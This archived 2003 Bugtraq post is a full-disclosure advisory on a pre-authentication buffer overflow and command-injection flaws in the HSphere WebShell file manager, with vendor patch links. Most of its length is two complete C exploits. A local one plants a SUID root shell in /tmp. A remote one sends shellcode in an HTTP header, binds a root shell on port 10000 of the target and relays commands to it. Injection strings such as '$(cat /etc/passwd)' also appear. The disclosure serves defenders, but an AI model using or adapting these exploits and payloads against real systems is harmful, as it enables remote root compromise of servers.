Remote root vuln in HSphere WebShell

From: Carl Livitt (carl@learningshophull.co.uk)
Date: 01/06/03

  • Next message: @stake Advisories: "Etherleak: Ethernet frame padding information leakage (A010603-1)"
    From: Carl Livitt <carl@learningshophull.co.uk>
    To: bugtraq@securityfocus.com
    Date: Mon, 6 Jan 2003 12:08:30 +0000
    
    

    Hi all,

    Below is an advisory on a remote (and local) root vulnerability in the HSphere
    product by Positive Software which is used by many web-hosting providers.

    The vulnerability is in the WebShell component (installed by default). Proof of
    concept exploits are provided and links to patched versions of WebShell are
    included in the advisory.

    Regards,

    Carl Livitt
    carl (at) learningshophull.co.uk

    ---------------------------------------------------------------

    =============================
    SECURITY VULNERABILITY REPORT
    =============================

    Product: HSphere Webshell 20020224 (latest tarball. Earlier versions are
              possibly vulnerable too).

    Provider: Positive Software (http://psoft.net)

    Impact: Local & remote root compromise

    Platorms: Linux/BSD

    =================
    Brief description
    =================

    Webshell is a web-based application that acts as a file manager for uploading /
    downloading files via FTP. It uses username/password authentication to ensure
    security. It runs SUID root in Unix environments so that it can read from the
    system shadow password file and change UID to a successfully authenticated
    user.

    There is a pre-authentication buffer overflow in the HTTP header processing
    code which would allow a malicious user to overwrite data on the stack; this
    can lead to execution of arbitrary code as root.

    ===========
    More detail
    ===========

    The overflow occurs in the CGI::readFile() function of CGI.C when insufficient
    bounds checking (ie: none at all) is performed on the 'boundary' string:

    int CGI::readFile(istream& is, ostream& os, const char* boundary) {
      char b1[255];
      
      strcpy(b1, "\r");
      strcat(b1, boundary);

    The 'boundary' string is taken from the data-stream directly after the HTTP
    headers in the incoming request. For example:

    POST /cgi-bin/webshell HTTP/1.1
    Host: www.vulnerablesite.com
    Content-Type: multipart/form-data boundary=AAAAA (300 "A"s)
    Content-Length: 900

    --AAAAA (300 "A"s)
    Content-Disposition: form-data; name="TESTNAME"; filename="TESTFILENAME"

    This would overflow the 'b1' array with 300 "A"s and overwrite the saved
    EIP with 0x41414141. Note that the data that overwrites 'b1' is not taken
    from the 'Content-Type' header, but from the line preceding the
    'Content-Disposition' field. Also note that both boundary tags need to be
    identical for an exploit to succeed.

    To ease exploitation, shellcode can be stored in an HTTP header that is
    converted to an environment variable by the webserver (eg. Apache) when
    webshell is executed. An example of such a header is 'Accept-Encoding';
    this is converted to "HTTP_ACCEPT_ENCODING" and can store strings that
    hold enormous amounts of shellcode. The provided exploit uses a small
    port-binding shellcode written by Bighawk.

    It should also be noted that webshell does not need to be exploited
    remotely; it is perfectly possible to exploit it locally to elevate user
    privileges to root.

    =====================
    Other Vulnerabilities
    =====================

    Lines 114-117 of 'command.C':

      string file = dirname + '/' + cgi.varByName("file");
      string mode = cgi.varByName("mode");
      string tmp=CHMOD+mode+" "+shquote(encodeFileName(file));
      if (0==system(tmp.c_str())) {

    A user could execute commands by embedding them in the 'mode'
    field of the HTTP query (eg. 'mode=$(cat /etc/passwd) 0755').

    ---------
    Lines 170-228 of 'command2.cc':

     void Command::compress(bool download) {
     string zipfile=encodeFileName(cgi.varByName("zipfile"));
     string compression=cgi.varByName("compression");
     .
     .
       if (compression.compare("zip")==0) {
      .
      .
         cmd=ZIP" -q -r -b /tmp "+zipfile+tmp;
       }
     .
     .
     if (!error) {
         if (download)
           html.header("application/x-unknown");
         error= !((chdir(dirname.c_str())==0) && (system(cmd.c_str())==0));

    A user could execute commands by embedding them in the 'zipfile'
    field of the HTTP query (eg. 'zipfile=xyzzy`ls -l`').

    There are many occurences of this type of error. It should also be
    noted that the encodeFileName() function simply returns the string
    it was passed! It does no encoding at all!

    ----------
    Line 16 of diskusage.cc:

     size+=diskusage(strcat(strcat(strcpy(file, path), "/"),dir_entry->d_name));

    'file' is declared as "char file[1024];" which could probably be used to
    overflow stack variables, possibly modifying execution path via EIP.

    ----------
    In flist() function in flist.C:

     char fname[256];
     int esize=strlen(ext);
     int fsize;
     if ((cdir=opendir(dname))!=NULL) {
       while ((cfile=readdir(cdir)) != NULL) {
         if ((esize>=(fsize=strlen(cfile->d_name))) ||
             (strstr(cfile->d_name+fsize-esize,ext)==NULL)) continue;

         strcpy(fname, dname);
         strcat(fname, "/");
         strcat(fname, cfile->d_name);

    fname[] gets overwritten, EIP overwritten etc etc.

    ========
    Solution
    ========

    The vendor response to these issues has been remarkable. In under six
    hours from notification, an updated version of webshell was available
    for download from the Positive Software website; they have included
    an automatic update tool in addition to the updated WebShell tarball.

    Tarball: http://www.hsphere.com/WebShell-2.4.tar.gz
    Update: http://www.psoft.net/misc/webshell_patch.html

    Thanks to Ivor Seletskiy and the team for their excellent coordination
    in responding to and resolving this matter.

    ===============
    Advisory author
    ===============

    Vulnerability discovered by and advisory/exploits written by Carl Livitt.

    Mail: carl (at) learningshophull.co.uk
    PGP:
    -----BEGIN PGP PUBLIC KEY BLOCK-----
    Version: GnuPG v1.2.0 (GNU/Linux)

    mQGiBD3rgEgRBACkZW1OlRo0Mn+4IZPQWynQ/H27aLysLrXk14fYQjABxhuyGfqA
    N20xSXfpe236BncG0JgGZe1UYgbj1R08MAVnw6cVQGZENxSxs8hFcKClCMoWRqd1
    LU/P3U1MmFJDztCZwjbg61jS0ajRjGRnzgrhxBCZDycD9onYP6BvXPuqqwCg2tPW
    cJmRcLK5GggicNcV1ZQrG70D/3+FNc18TVbZ2/dUjb2Y5d9AGS86FFmQosiuHXpx
    vgQgDseddEeCg/yxETqTAA+gOvY3NKm9wD6sCmakwqg1SYTpeswA8/3ceRaOjJjw
    3VKPbZOSNubCl09Sgp0xqwiM6xSQxozvuQKoxB0zwvJrVEW7KIEG2aHEOocZsFYX
    6IZ2A/9ePnfCOEAiTHs2+gYuoHXUs1+lXgLl1Qv+J0hHdNh50LT5aDx6ih39VXID
    FiKPw3MMznDhdAOW6gOQEA3QJAEn8uQU66xGzlPEkefutWDibd+zT6O54z259xcv
    9VTgiAiNThfucc+KyIA2SKro8FyEQzghZBM4v+sAnN9VZBITCbQpQ2FybCBMaXZp
    dHQgPGNhcmxAbGVhcm5pbmdzaG9waHVsbC5jby51az6IXwQTEQIAHwUCPeuASAUJ
    CWYBgAQLBwMCAxUCAwMWAgECHgECF4AACgkQMeVo6vqTjEsRiQCgiQaL0VSEiEMA
    ZqKvsR8Ctg6y5QwAoNIOTj+CCyGXgys+3secZJLk03LMuQINBD3rgF0QCAC23Kb8
    5HW36DuwtFlM1HJr2RAnbVxPlcmBWNMg+tJDFjGCVbMhiZOR7+4A+JpLNtkAJH8j
    PGCexuBhlVTTgaA2uBwrIVLWDh41IvrZrhafqxhsUywtiGvd1CXD+s2hhvlMbof+
    C/6cbOdriFv+qtJWOwc0i14tb2wA36k7yYdOl0X3+hBGiJyt1DnEQCnT6LanYYtF
    GuvL7T8fO2LHYoTPSvMmdv6l4YSSw3WFXqoodaGeO1rah7cPeBk6+obDeRuzZiLV
    hQxiB2OzNmF1P/NBNqKjUu2kgLrCV6KJtcpJLqgzYgy/p2vx6AXp4oOG74D2Xen/
    /AzGO+FDCNt3Mhc7AAMFB/9DtD1Kq7F5QiYMvLYZGYA7LSiGb/oaq5wxaG5Mc09t
    szqQZMDGVsyuBvJ/zI+YnsHS5yK0vnQ4vrZ2IoAyJAChAuI85yg6eh4tG93ZxhTa
    xBJP9dep4H+cd/ZNawD35nMZte54TBylATezUBXSAecnCGNlY+0M9w4ijXujDAH/
    2eq1S5pyc44sgUsvyXE+UVdOr4c5B5z9OxLynbpE98A11lJP/0NkRGRgVVykfdRw
    8eq9DdaL9NIJyG5mkWEJLPf21vLKFxtU6eeHDVHfv33UiRPKZlFX6rddY6EaGUeS
    a/HD2p/cA/7c5I/R5awZdmc9f7DZc4A6H6qfz6z8NNILiEwEGBECAAwFAj3rgF0F
    CQlmAYAACgkQMeVo6vqTjEutUACghkYYFWPHLdF8IaqBRV7U086XYTsAoNVLwSAl
    +Zf0MoBdqnGDxPXhfLch
    =fp0k
    -----END PGP PUBLIC KEY BLOCK-----

    ========
    Exploits
    ========

    In keeping with full-disclosure, here are two exploits: a local one
    which will elevate any user to r00t, and a remote one which works
    against all tested webshell installations and yields a remote root
    shell on port 10000 (by default).

    Both exploits work in a bruteforce manner, which ensures that they
    work more often than not. However, this bruteforcing means that
    the exploits are 'noisy': they leave a lot of mess. Cleaning up
    after this mess is left as an excercise for the reader.

    First, the local exploit:

    /*
     * Local r00t exploit for Webshell 2.4 (possibly other versions).
     * Vulnerability found and exploit written by Carl Livitt
     * (carl (@) learningshophull.co.uk).
     *

    Exploits a simple stack-based buffer overflow in CGI.C of the
    HSphere webshell component which is installed SUID & GUID root
    by default.

    Uses a bruteforce method to guess the return address on the stack
    and the amount of data to overflow the buffer with; this ensures
    it works under many different environments. I originally hardcoded
    these values, but found that this was unreliable.

    Copy this file (webshell-local.c) to /tmp and then:

    cd /tmp
    gcc -o webshell-local webshell-local.c
    cd /path/to/the/webshell/directory
    /tmp/webshell-local

    That should get you r00t without any messing about.

    */

    #include <sys/types.h>
    #include <sys/stat.h>
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <signal.h>

    #define EGG_SIZE_START 257
    #define EGG_SIZE_END 291
    #define RET_ADDR_START 0xbfffe910
    #define RET_ADDR_END 0xbfffffff
    #define RET_ADDR_INCREMENT 256
    #define CONTENT_LENGTH 42
    #define SHELLSCRIPT_FILE "/tmp/zz"
    #define EXPLOIT_FILE "/tmp/.webshell.txt"
    #define ROOT_SHELL "/tmp/rs"
    #define WEBSHELL_PROGRAM "./webshell"

    void create_shellscript_file();
    void make_shellcode();
    void make_exploit_buffer();
    void setup_environment();
    void make_exploit_file();

    char shellcode[] =
            "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid(0)
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff/tmp/zz"; // aleph1 execve() of /bin/sh

    char sc[1024];
    char egg[1024];

    char shell_script[]=
            "#!/bin/sh\n"
            "cd /tmp\n"
            "cat << ROOTSHELL > "ROOT_SHELL".c\n"
            "main() { setuid(0);setgid(0);system(\"/bin/bash\");}\n"
            "ROOTSHELL\n"
            "gcc -o "ROOT_SHELL" "ROOT_SHELL".c\n"
            "chown root:root "ROOT_SHELL"*\n"
            "chmod 6777 "ROOT_SHELL"\n"
            "chmod 0666 "ROOT_SHELL".c\n";

    char greeting[]="Webshell 2.4 bruteforce exploit for Linux x86 - by Carl Livitt\n";

    int EGG_SIZE=EGG_SIZE_START;
    unsigned long RET_ADDR=(unsigned long)RET_ADDR_START;
    char *env[4];

    /*
     * The fun begins here...
     */

    main(int argc, char **argv) {
            int brute_force_mode=1, status, pid;
            struct stat s;

            /*
             * Check to see if the exploit has been run before...
             */
            if(stat((char *)ROOT_SHELL,&s)==0) {
                    printf("Root shell already exists... executing...\n");
                    system(ROOT_SHELL);
                    exit(0);
            }

            /*
             * Make sure that the webshell binary can be found
             * and is SUID root
             */
            if(stat(WEBSHELL_PROGRAM, &s)!=0) {
                    printf(WEBSHELL_PROGRAM" not found!\n");
                    exit(1);
            } else if(!(s.st_mode&S_ISUID)) {
                    printf(WEBSHELL_PROGRAM" is not SUID root!\n");
                    exit(1);
            }

            /*
             * Start the bruteforce loop...
             */
            printf("%s\nBruteforcing EGG_SIZE and RET_ADDR..", greeting);
            do {
                    // setup exploit buffers
                    make_shellcode();
                    make_exploit_buffer();
                    setup_environment();
                    make_exploit_file();
                    create_shellscript_file();
                    printf(".");fflush(stdout);

                    // fork and execute the webshell binary, passing it the
                    // exploit input.
                    if((pid=fork())==0) {
                            system(WEBSHELL_PROGRAM" < "EXPLOIT_FILE" &>/dev/null");
                            exit(0);
                    } else {
                            waitpid(pid, &status, 0);
                    }

                    // If ROOT_SHELL exists, then the exploit was successful.
                    // So execute it!
                    if(stat((char *)ROOT_SHELL,&s)==0) {
                            printf("\nEntering r00t shell...\n\n");
                            system(ROOT_SHELL);
                            exit(0);
                    }

                    // The ROOT_SHELL did not exist, so adjust the bruteforce
                    // parameters and continue...
                    EGG_SIZE++;
                    if(EGG_SIZE>EGG_SIZE_END) {
                            RET_ADDR+=RET_ADDR_INCREMENT;
                            if(RET_ADDR>RET_ADDR_END) {
                                    printf("Leaving bruteforce mode...\n");
                                    brute_force_mode=0;
                            } else {
                                    EGG_SIZE=EGG_SIZE_START;
                            }
                    }
            } while(brute_force_mode);
            printf("Bruteforce exhausted - EXPLOIT FAILED.\n");
    }

    /*
     * Creates the file to be used as stdin for webshell.
     */
    void make_exploit_file() {
            FILE *fp;

            if((fp=fopen(EXPLOIT_FILE,"w"))==NULL) {
                    printf("Could not create exploit file %s\n", EXPLOIT_FILE);
                    exit(1);
            }
            fprintf(fp, "--%s\n", egg+CONTENT_LENGTH);
            fprintf(fp, "Content-Disposition: form-data; name=\"TESTNAME\"; filename=\"TESTFILENAME\"\r\n\r\n");
            fclose(fp);
    }

    /*
     * Create the malicious environment in which webshell will run
     */
    void setup_environment() {
            int i;

            unsetenv("S");
            unsetenv("CONTENT_LENGTH");
            unsetenv("REQUEST_METHOD");
            unsetenv("CONTENT_TYPE");
            env[0]=strdup(egg);
            env[1]=strdup(sc);
            env[2]=strdup("CONTENT_LENGTH=261");
            env[3]=strdup("REQUEST_METHOD=POST");
            env[4]=NULL;
            for(i=0;i<4;i++)
                    putenv(env[i]);
    }

    /*
     * It is the 'boundary' section of a multipart/form-data MIME type
     * that overflows the buffer in webshell. This function creates the
     * malicious boundary.
     */
    void make_exploit_buffer() {
            int i;

            memset(egg, 0, EGG_SIZE-1);
            memcpy(egg, "CONTENT_TYPE=multipart/form-data boundary=", CONTENT_LENGTH);
            for(i=0;i<EGG_SIZE; i+=4) {
                    egg[i+CONTENT_LENGTH]=RET_ADDR&0xff;
                    egg[i+CONTENT_LENGTH+1]=(RET_ADDR>>8)&0xff;
                    egg[i+CONTENT_LENGTH+2]=(RET_ADDR>>16)&0xff;
                    egg[i+CONTENT_LENGTH+3]=(RET_ADDR>>24)&0xff;
            }
            egg[EGG_SIZE+CONTENT_LENGTH-1]='\0';
    }

    /*
     * Makes a 1024-byte buffer filled with NOPs and shellcode
     */
    void make_shellcode() {
            memset(sc, 0x90,1024);
            sc[0]='S';
            sc[1]='=';
            memcpy(sc + 1024 - (strlen(shellcode)+1), shellcode, strlen(shellcode));
            sc[1023]='\0';
    }

    /*
     * Generate the shellscript that will be executed by the shellcode.
     * By default, it will create a SUID root shell in /tmp
     */
    void create_shellscript_file() {
            FILE *fp;

            if((fp=fopen(SHELLSCRIPT_FILE,"w"))==NULL) {
                    printf("Could not create %s\n", SHELLSCRIPT_FILE);
                    exit(1);
            }
            fprintf(fp, "%s", shell_script);
            fclose(fp);
            chmod(SHELLSCRIPT_FILE, S_IXOTH | S_IROTH | S_IWOTH | S_IXUSR | S_IRUSR | S_IWUSR);
    }

    ==================
    The remote exploit
    ==================

    /*
     * Remote r00t exploit for Webshell 2.4 (possibly other versions).
     * Vulnerability found and exploit written by Carl Livitt
     * (carl (@) learningshophull.co.uk).
     *

    Exploits a simple stack-based buffer overflow in CGI.C of the
    HSphere webshell component which is installed SUID & GUID root
    by default.

    This exploit will bind a r00t shell to port 10000 (by default) of
    the remote box. Feel free to use any shellcode of your choice.

    This code is a butchered version of the local exploit for
    webshell. It works on my test box, and won't be refined any further,
    although the bruteforcer should work on most webshell installations.

    To exploit:

    gcc -o webshell-remote webshell-remote.c
    ./webshell-remote -t www.host-to-exploit.com -l /path/to/webshell

    That's it. It'll work on almost all vulnerable hosts (running Linux).
    */

    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/socket.h>
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <signal.h>
    #include <netdb.h>
    #include <time.h>

    /*
     * Play with these to make it work (if it fails!)
     */
    #define EGG_SIZE_START 280
    #define EGG_SIZE_END 291
    #define RET_ADDR_START 0xbffff010
    #define RET_ADDR_END 0xbfffffff
    #define RET_ADDR_INCR 768
    #define COMMAND1 "id\n"
    #define COMMAND2 "uname -a\n"
    #define ROOT_SHELL_PORT 10000

    // should only be needed against localhost. Set to 0 to disable.
    #define SLEEP_TIME 125000000L

    // don't play with this, you'll only break things.
    #define CONTENT_LENGTH 43

    void make_shellcode();
    void make_exploit_buffer();
    void make_boundary_buffer();

    /*
     * 88 bytes portbinding shellcode - linux-x86
     * - by bighawk (bighawk@warfare.com)
     * setuid(0) and setgid(0) added by Carl Livitt
     */
    char shellcode[] =
       "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80" // setuid(0),setgid(0)
       "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
       "\x89\xc7\x52\x66\x68"
       "XX" // XX is port number
       "\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
       "\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
       "\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
       "\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
       "\x51\x53\x89\xe1\xb0\x0b\xcd\x80"; // bind shell on port 10000

    /*
     * Ahhhh, global variables make life easy :)
     */
    char sc[1024];
    char egg[1024];
    char exploit_buf[4096];
    char target[256];
    int port=80;
    char location[1024];
    unsigned long RET_ADDR;
    int EGG_SIZE, root_shell_port=ROOT_SHELL_PORT;

    char usage[]=
    "-h This cruft\n"
    "-t host Target host (eg. www.xyzzy.com)\n"
    "-p port Target port [80]\n"
    "-P port Port to bind shell on remote host [10000]\n"
    "-l location Location of webshell (eg. /cgi-bin/webshell)\n\n"
    "Example:\n\n"
    "./exp-remote -t www.xyzzy.com -p 8080 -P 12345 -l /psoft/servlet/psoft.hsphere.CP\n\n"
    "This would attack http://www.xyzzy.com:8080/psoft/servlet/psoft.hsphere.CP\n"
    "and bind a root shell to port 12345 if successful.\n\n";

    /*
     * The fun begins here...
     */

     main(int argc, char **argv) {
            int ch, websock, shellsock,r=1;
            struct hostent *host;
            struct sockaddr_in saddr;
            char buf[8092];
            struct timespec sleepTime;
            fd_set rfds;
            int retval;
                    
            /*
             * Process command-line args
             */
            while((ch=getopt(argc,argv,"ht:p:P:l:"))!=-1) {
                    switch(ch) {
                            case 'h':
                                    printf("%s",usage);
                                    exit(0);
                                    break;
                            case 't':
                                    strncpy(target, optarg, sizeof(target)-1);
                                    break;
                            case 'p':
                                    port=atoi(optarg);
                                    break;
                            case 'P':
                                    root_shell_port=atoi(optarg);
                                    break;
                            case 'l':
                                    strncpy(location, optarg, sizeof(location)-1);
                                    break;
                            default:
                                    printf("%s", usage);
                                    exit(0);
                                    break;
                    }
            }
            
            /*
             * Tell the attacker we're about to start the exploit.
             * Look up the IP address of the host specified on the
             * command-line
             */
            if((host=gethostbyname(target))==NULL) {
                    printf("Host not found. Usage:\n%s\n", usage);
                    exit(1);
            }
            printf("Exploiting http://%s:%d%s%s..", target, port, (location[0]=='/')?"":"/", location);
            
            /*
             * Start the bruteforce loop
             */
            for(RET_ADDR=RET_ADDR_START; RET_ADDR<RET_ADDR_END; RET_ADDR+=RET_ADDR_INCR) {
                    for(EGG_SIZE=EGG_SIZE_START; EGG_SIZE<EGG_SIZE_END; EGG_SIZE++) {
                            /*
                              * Setup the exploit strings and
                              * HTTP headers. The Accept-Encoding header
                              * will hold shellcode: it will be passed
                              * to the environment of webshell giving us
                              * a reasonably predictable RET address.
                              */
                            make_shellcode();
                            make_boundary_buffer();
                            make_exploit_buffer();
                    
                            /*
                              * Now connect to the host and send the exploit
                              * string...
                              */
                            if((websock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
                                    perror("socket()");
                                    exit(1);
                            }
                            memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
                            saddr.sin_family=AF_INET;
                            saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
                            saddr.sin_port=htons(port);
                            printf(".");fflush(stdout);
                            if(connect(websock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
                                    perror("connect()");
                                    exit(1);
                            }
                            send(websock, exploit_buf, strlen(exploit_buf), 0);
                            close(websock);
                            
                            /*
                             * This pause is needed when exploiting localhost.
                             * It can be ignored against remote hosts (I think!)
                             */
                            sleepTime.tv_sec=0;
                            sleepTime.tv_nsec=SLEEP_TIME;
                            nanosleep(&sleepTime, &sleepTime);
                    
                            /*
                              * If the exploit attempt succeded, there should now
                             * be a r00t shell bound to port xxxxx of the target
                             * box. Lets try and connect to it...
                              */
                            if((shellsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
                                    perror("socket()");
                                    exit(1);
                            }
                            memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
                            saddr.sin_family=AF_INET;
                            saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
                            saddr.sin_port=htons(root_shell_port);
                            if(connect(shellsock, (struct sockaddr *)&saddr, sizeof(saddr))==0)
                                    goto CONNECTED; // goto? Damn amateurs...
                                    
                            /*
                             * If we get here, the exploit failed. Try the next
                             * iteration of the brute force loop.
                             */
                            close(shellsock);
                    }
            }
            /*
             * If we get here, then the bruteforce was exhausted without a
             * succesful exploit.
             */
            printf("\nFailed to exploit the webshell binary. :(\n");
            exit(0);

    CONNECTED:
            /*
             * We're now connected to the remote host. Issue
             * some commands... ('id' and 'uname -a' by default)
             */
            printf("\n\nExploit successful!\nIssuing some commands...\n\n");
            if(send(shellsock, COMMAND1, strlen(COMMAND1), 0)==-1) {
                    perror("send()");
                    exit(1);
            }
            buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
            printf("%s", buf);
            send(shellsock, COMMAND2, strlen(COMMAND2), 0);
            buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
            printf("%s\n", buf);
            printf("You are now at a bash prompt...\n");
            
            /*
             * Now let the attacker issue commands to the remote
             * shell, just as if (s)he had launched 'nc host 10000'.
             * Note the dodgy coding of assigning NULLs to the buf[]
             * array. What would happen if recv() or read() returned -1 ?
             * You guessed it: we mung some variables on the stack!
             */
            do {
                    FD_ZERO(&rfds);
                    FD_SET(0, &rfds);
                    FD_SET(shellsock, &rfds);
                    retval=select(shellsock+1, &rfds, NULL, NULL, NULL);
                    if(retval) {
                            if(FD_ISSET(shellsock, &rfds)) {
                                    buf[(r=recv(shellsock, buf, sizeof(buf)-1,0))]='\0';
                                    printf("%s", buf);
                            }
                            if(FD_ISSET(0, &rfds)) {
                                    buf[(r=read(0, buf, sizeof(buf)-1))]='\0';
                                    send(shellsock, buf, strlen(buf), 0);
                            }
                            
                    }
            } while(retval && r); // loop until connection terminates
            close(shellsock);
            exit(0);
    }

    /*
     * Create the HTTP request that will setup the exploit
     * conditions in webshell. Shellcode is stored in the
     * Accept-Encoding HTTP header.
     */
    void make_exploit_buffer() {
            sprintf(exploit_buf,"POST %s HTTP/1.1\n",location);
            sprintf(exploit_buf,"%sHost: %s\n",exploit_buf,target);
            sprintf(exploit_buf,"%sAccept-Encoding: %s\n",exploit_buf, sc);
            sprintf(exploit_buf,"%s%s\n",exploit_buf,egg);
            sprintf(exploit_buf,"%sContent-Length: %d\n\n",exploit_buf,EGG_SIZE*2);
            sprintf(exploit_buf,"%s--%s\n",exploit_buf, egg+CONTENT_LENGTH);
            sprintf(exploit_buf,"%sContent-Disposition: form-data; name=\"TESTNAME\"; filename=\"TESTFILENAME\"\r\n\r\n",exploit_buf);
            sprintf(exploit_buf,"%s%-*s\n",exploit_buf, EGG_SIZE*4," ");
    }

    /*
     * Create the buffer that holds the 'boundary' data. This
     * is what actually overflows the buffer on the stack.
    */
    void make_boundary_buffer() {
            int i;

            memset(egg, 0, EGG_SIZE-1);
            memcpy(egg, "Content-Type: multipart/form-data boundary=", CONTENT_LENGTH);
            for(i=0;i<EGG_SIZE; i+=4) {
                    egg[i+CONTENT_LENGTH]=RET_ADDR&0xff;
                    egg[i+CONTENT_LENGTH+1]=(RET_ADDR>>8)&0xff;
                    egg[i+CONTENT_LENGTH+2]=(RET_ADDR>>16)&0xff;
                    egg[i+CONTENT_LENGTH+3]=(RET_ADDR>>24)&0xff;
            }
            egg[EGG_SIZE+CONTENT_LENGTH-1]='\0';
    }

    /*
     * Creates a 1024-byte buffer holding NOPs and shellcode.
     */
    void make_shellcode() {
            // Fill in the port number
            shellcode[33]=htons(root_shell_port)&0xff;
            shellcode[34]=(htons(root_shell_port)>>8)&0xff;

            // Finish making shellcode buffer
            memset(sc, 0x90,1024);
            memcpy(sc + 1024 - (strlen(shellcode)+1), shellcode, strlen(shellcode));
            sc[1023]='\0';
    }



    Relevant Pages